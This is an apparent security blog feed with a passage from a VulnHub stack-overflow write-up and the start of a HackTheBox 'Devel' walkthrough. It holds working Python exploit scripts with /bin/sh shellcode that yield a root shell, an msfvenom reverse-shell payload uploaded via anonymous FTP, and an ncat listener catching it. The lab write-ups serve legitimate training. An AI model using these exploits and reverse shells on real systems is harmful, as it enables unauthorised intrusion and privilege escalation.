0x4341416e &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; ?? &lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The program crashed which is good and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EIP&lt;/code&gt; register is poiting to somewhere in the long string. One byte is actually missing so the offset would be 16. If in the final exploit there is 15 characters as the junk the exploit would break when a shell command is executed.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;pattern_offset 0x4341416e
1128350062 found at offset: 15
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As the offset is now found, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp&lt;/code&gt; call be identified.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;jmpcall
0x56556019 : call eax
0x565560ec : call eax
0x5655613d : call edx
0x56557067 : jmp &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;eax]
0x56557ff8 : call &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;ecx]
0x56558067 : jmp &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;eax]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Interestingly finding a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp esp&lt;/code&gt; call was not available in the program itself, however, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp esp&lt;/code&gt; call be found in the &lt;strong&gt;&lt;em&gt;libc&lt;/em&gt;&lt;/strong&gt; library. This can be identified as follows:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;jmpcall esp libc
0xf7dd0bb1 : jmp esp
0xf7dd4ff7 : jmp esp
0xf7dd7037 : jmp esp
0xf7f3f1b0 : call esp
0xf7f48b87 : call esp
0xf7f48bc3 : call esp
0xf7f48c07 : call esp
0xf7f547db : jmp esp
0xf7f55937 : jmp esp
0xf7f55b77 : call esp
0xf7f55b83 : call esp
0xf7f55c7b : call esp
0xf7f55d3f : call esp
0xf7f55e37 : call esp
0xf7f560f7 : call esp
0xf7f56103 : call esp
0xf7f5627f : jmp esp
0xf7f562f3 : call esp
0xf7f56323 : jmp esp
0xf7f563eb : jmp esp
0xf7f5661b : jmp esp
0xf7f566e3 : jmp esp
0xf7f567e3 : call esp
0xf7f56993 : jmp esp
0xf7f56b13 : jmp esp
&lt;span class=&quot;nt&quot;&gt;--More--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;25/141&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;First address can be used or any other that has a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp esp&lt;/code&gt; call. This can be checked by sending the address to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EIP&lt;/code&gt; register and checking if a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp esp&lt;/code&gt; call is done.&lt;/p&gt;

&lt;p&gt;Here usage of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pwntools&lt;/code&gt; library is done due how simple it is send the payload to the binary.&lt;/p&gt;

&lt;p&gt;A final exploit should look something like this which would use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;struct&lt;/code&gt; python library to pack the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp esp&lt;/code&gt; address to little endian.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python2
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# offset = 16
# eip = 20
# libc jmpesp = jmpcall esp libc : 0xf7dd0bb1 - jmp esp;
&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;struct&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;libc_jmpesp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xf7dd0bb1&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;libc_jmpesp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;I&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;libc_jmpesp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;nops&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x90&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# setreuid(geteuid(),geteuid()),execve(&quot;/bin/sh&quot;,0,0) 34byte universal shellcode
&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;libc_jmpesp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nops&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;io&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'./levelFive'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;interactive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When the exploit is executed, an interactive session as root should be started.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;level4@kali:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./exploit.py
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Starting &lt;span class=&quot;nb&quot;&gt;local &lt;/span&gt;process &lt;span class=&quot;s1&quot;&gt;'./levelFive'&lt;/span&gt;: pid 3433
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Switching to interactive mode
Enter your input: Buf: AAAAAAAAAAAAAAAA&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;b1&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;0b����&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;90&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;90&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;90&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;90&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;90&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;90&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;90j1X&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;99̀&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;89É�jFX̀&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;b0&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;0bhn/shh//bi&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;89��̀
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /root/root.txt
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1004&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;level4&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1004&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;level4&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
1d0b5[REDACTED]
&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Of course only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pwntools&lt;/code&gt; library can be used to create a working PoC.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python2
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xf7dd0bb1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;\90&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;asm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcraft&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i386&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;linux&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;setreuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;asm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcraft&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i386&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;linux&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'./levelFive'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;interactive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;References:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.vulnhub.com/entry/stack-overflows-for-beginners-101,290/&quot;&gt;https://www.vulnhub.com/entry/stack-overflows-for-beginners-101,290/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/longld/peda&quot;&gt;https://github.com/longld/peda&lt;/a&gt;&lt;/p&gt;</content><author><name>Kr0ff</name></author><category term="vulnhub" /><summary type="html">_____ ____ _____ _____ __ ___ _____ __ __ _____ _____ ____ _____ __ __ / ___&amp;gt;/ \/ _ \/ \| | // _ \/ | \/ __\/ __\/ _/ / _ \/ / \ |___ |\- -/| _ || |--|| _ &amp;lt; | | |\ | /| __|| __|| |---| | || /\ | &amp;lt;_____/ |__| \__|__/\_____/|__|__\\_____/ \___/ \_____/\__/ \_____/\_____/\__/\__/ [1]: https://www.vulnhub.com/entry/stack-overflows-for-beginners-101,290/ &quot;IntroToStackOverflow&quot; [2]: https://github.com/longld/peda [3]: &amp;lt;http://shell-storm.org/shellcode/files/shellcode-399.php&amp;gt; [4]: &amp;lt;https://www.exploit-db.com/shellcodes/46809&amp;gt;</summary></entry><entry><title type="html">HackTheBox - Devel</title><link href="https://cicadasec.com/htb-devel" rel="alternate" type="text/html" title="HackTheBox - Devel" /><published>2020-11-17T00:00:00+00:00</published><updated>2020-11-17T00:00:00+00:00</updated><id>https://cicadasec.com/htb-devel</id><content type="html" xml:base="https://cicadasec.com/htb-devel">&lt;p&gt;Starting off with a nmap scan to determine open ports, thus attack vector !&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;nmap &lt;span class=&quot;nt&quot;&gt;-sCV&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p-&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-T4&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--max-retries&lt;/span&gt; 0 &lt;span class=&quot;nt&quot;&gt;--max-rate&lt;/span&gt; 1000 &lt;span class=&quot;nt&quot;&gt;-oN&lt;/span&gt; nmap-devel.txt 10.10.10.5
Starting Nmap 7.91 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2020-12-06 11:30 GMT
NSE: Loaded 153 scripts &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;scanning.
NSE: Script Pre-scanning.
Initiating NSE at 11:30
Completed NSE at 11:30, 0.00s elapsed
Initiating NSE at 11:30
Completed NSE at 11:30, 0.00s elapsed
Initiating NSE at 11:30
Completed NSE at 11:30, 0.00s elapsed
Initiating Ping Scan at 11:30
Scanning 10.10.10.5 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2 ports]
Completed Ping Scan at 11:30, 0.37s elapsed &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1 total hosts&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Initiating Connect Scan at 11:30
Scanning 10.10.10.5 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;65535 ports]
Warning: 10.10.10.5 giving up on port because retransmission cap hit &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Discovered open port 21/tcp on 10.10.10.5
Discovered open port 80/tcp on 10.10.10.5
Connect Scan Timing: About 0.30% &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;---SNIP---&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nmap has found that there are two open ports on the victim machine; port 80 &amp;amp; 22. Navigating to the web server reveals that the default pages of IIS are in place. Alternatively, if we check the Burp response, we can see that the &lt;em&gt;server&lt;/em&gt; header shows the server is indeed “Microsoft IIS/7.5”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/devel/burp_index_response.png&quot; alt=&quot;burp_index_response&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Nmap has also found that the FTP service allows anonymous connection. By logging in the service, it’s revealed that the root folder of the FTP is the root folder of the IIS server. Trying to upload a file also appeared to be successful, therefore uploading a webshell&lt;sup id=&quot;fnref:webshell&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:webshell&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; should allow for command execution.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/htb-images/devel/devel_ftp_revshell_upload.png&quot; alt=&quot;devel_ftp_revshell_upload&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Generating an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.aspx&lt;/code&gt; formated reverse shell via msfvenom was a great way to get access to the system.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;msfvenom &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; windows/shell_reverse_tcp &lt;span class=&quot;nv&quot;&gt;lhost&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;10.10.14.10 &lt;span class=&quot;nv&quot;&gt;lport&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;7001 &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; aspx &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; revshell.aspx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After the generation of the reverse shell, uploading it to the system via the FTP service allowed to be executed via navigating to it in the browser.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;rlwrap ncat &lt;span class=&quot;nt&quot;&gt;-lnvp&lt;/span&gt; 7001 
Ncat: Version 7.91 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org/ncat &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Ncat: Listening on :::7001
Ncat: Listening on 0.0.0.0:7001
Ncat: Connection from 10.10.10.5.
Ncat: Connection from 10.10.10.5:49173.
Microsoft Windows &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;Version 6.1.7600]
Copyright &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; 2009 Microsoft Corporation.  All rights reserved.

c:&lt;span class=&quot;se&quot;&gt;\w&lt;/span&gt;indows&lt;span class=&quot;se&quot;&gt;\s&lt;/span&gt;ystem32&lt;span class=&quot;se&quot;&gt;\i&lt;/span&gt;netsrv&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The use of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rlwrap&lt;/code&gt; allows the use of the arrow keys while using netcat. It is simply a read-line wrapper and is similar to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stty raw -echo &lt;/code&gt;&lt;sup id=&quot;fnref:stty&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:stty&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; method.  This tool can be downloaded using the package manager in kali simply by typing the below.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt update &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;rlwrap &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Checking &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systeminfo&lt;/code&gt; for patches, reveals that the windows 7 x86 machine was never updated meaning it is exposed to a lot of privilege escalation attacks. Copying the output of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systeminfo&lt;/code&gt; and pasting it locally, a tool such as “Windows-Exploit-Suggester”&lt;sup id=&quot;fnref:wes-tool&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:wes-tool&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; could be used to check what exploits can be used to attack the system and escalate the privilages.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./windows-exploit-suggester.py &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; ../systeminfo.txt &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; 2020-12-06-mssb.xls
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; initiating winsploit version 3.3...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; database file detected as xls or xlsx based on extension
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; attempting to &lt;span class=&quot;nb&quot;&gt;read &lt;/span&gt;from the systeminfo input file
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] systeminfo input file &lt;span class=&quot;nb&quot;&gt;read &lt;/span&gt;successfully &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ascii&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; querying database file &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;potential vulnerabilities
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; comparing the 0 hotfix&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;es&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; against the 179 potential bulletins&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; with a database of 137 known exploits
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; there are now 179 remaining vulns
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;E] exploitdb PoC, &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;M] Metasploit module, &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; missing bulletin
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] windows version identified as &lt;span class=&quot;s1&quot;&gt;'Windows 7 32-bit'&lt;/span&gt;
